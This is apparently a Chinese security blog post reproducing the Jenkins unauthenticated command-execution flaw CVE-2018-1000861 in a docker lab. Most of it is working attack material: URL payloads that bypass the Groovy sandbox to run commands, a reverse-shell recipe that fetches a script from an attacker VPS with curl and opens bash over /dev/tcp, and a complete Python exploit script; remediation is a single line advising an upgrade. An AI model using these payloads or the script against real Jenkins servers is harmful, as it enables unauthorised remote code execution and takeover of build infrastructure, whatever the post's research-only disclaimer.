jenkins 命令执行 (CVE-2018-1000861)复现

所有文章,仅供安全研究与学习之用,后果自负!

jenkins 命令执行 (CVE-2018-1000861)

0x01 漏洞描述

Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins 是常见的CI/CD服务器, 最常见的就是爆破弱口令然后使用groovy执行命令

Jenkins使用Stapler框架开发,其允许用户通过URL
PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

0x02 影响范围

Jenkins 2.153及更早版本,LTS 2.138.3及更早版本

app=“Jenkins”

0x03 漏洞复现

靶场 docker启动 靶场环境
在这里插入图片描述

手工测试

命令执行poc

http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}

(1) 创建文件

http://ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}

在这里插入图片描述
进入 docker 容器查看

在这里插入图片描述
创建成功

(2)反弹shell

直接使用bash命令失败

需要vps 启动http服务

python3 -m http.server 8888

放置 cmd.txt
内容如下

bash -i >& /dev/tcp/VPSip地址/9897 0>&1

替换要执行的命令为

curl -o /tmp/1.sh http://VPSip:8888/cmd.txt
bash /tmp/1.sh

浏览器访问依次执行

http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/1.sh http://VPSip:8888/cmd.txt".execute()}}

http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/1.sh".execute()}}

反弹shell成功

在这里插入图片描述

脚本利用

脚本代码在最下方

python2 使用

用法
在这里插入图片描述
python2 exp.py http://靶机ip:8080/ “touch /tmp/123.txt”
在这里插入图片描述

反弹shell 同上 下载 脚本 在执行即可 就不截图啦

0x04 漏洞修复

升级至最新版本

脚本

#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
# 

import sys
import requests
from enum import Enum

# remove bad SSL warnings
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass


endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'

class mode(Enum):
    ACL_PATCHED = 0
    NOT_JENKINS = 1
    READ_ENABLE = 2
    READ_BYPASS = 3
    ENTRY_NOTFOUND = 999

def usage():
    print ('''Usage:python exp.py <url> <cmd>''')

def _log(msg, fail=False):
    nb = '[*]'
    if fail:
        nb = '[-]'
    print ('%s %s' % (nb, msg))

def _get(url, params=None):
    r = requests.get(url, verify=False, params=params)
    return r.status_code, r.content

def _add_bypass(url):
    return url + 'securityRealm/user/admin/'

def check(url):
    flag, accessible = mode.ACL_PATCHED, False

    # check ANONYMOUS_READ
    status, content = _get(url)
    if status == 200 and 'adjuncts' in content:
        flag, accessible = mode.READ_ENABLE, True
        _log('ANONYMOUS_READ enable!')
    elif status == 403:
        _log('ANONYMOUS_READ disable!')

        # check ACL bypass, CVE-2018-1000861
        status, content = _get(_add_bypass(url))
        if status == 200 and 'adjuncts' in content:
            flag, accessible = mode.READ_BYPASS, True
    else:
        flag = mode.NOT_JENKINS

    # check entry point, CVE-2019-1003005
    if accessible:
        if flag is mode.READ_BYPASS:
            url = _add_bypass(url)
        status, content = _get(url + endpoint)

        if status == 404:
            flag = mode.ENTRY_NOTFOUND

    return flag

def exploit(url, cmd):
    payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
    params = {
    
    
        'sandbox': True, 
        'value': payload
    }

    status, content = _get(url + endpoint, params)
    if status == 200:
        _log('Exploit success!(it should be :P)')
    elif status == 405:
        _log('It seems Jenkins has patched the RCE gadget :(')
    else:
        _log('Exploit fail with HTTP status [%d]' % status, fail=True)
        if 'stack trace' in content:
            for _ in content.splitlines():
                if _.startswith('Caused:'):
                    _log(_, fail=True)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        usage()
        exit()

    url = sys.argv[1].rstrip('/') + '/'
    cmd = sys.argv[2]

    flag = check(url)
    if flag is mode.ACL_PATCHED:
        _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
    elif flag is mode.NOT_JENKINS:
        _log('Is this Jenkins?', fail=True)
    elif flag is mode.READ_ENABLE:
        exploit(url, cmd)
    elif flag is mode.READ_BYPASS:
        _log('Bypass with CVE-2018-1000861!')
        exploit(_add_bypass(url), cmd)
    else:
        _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121532664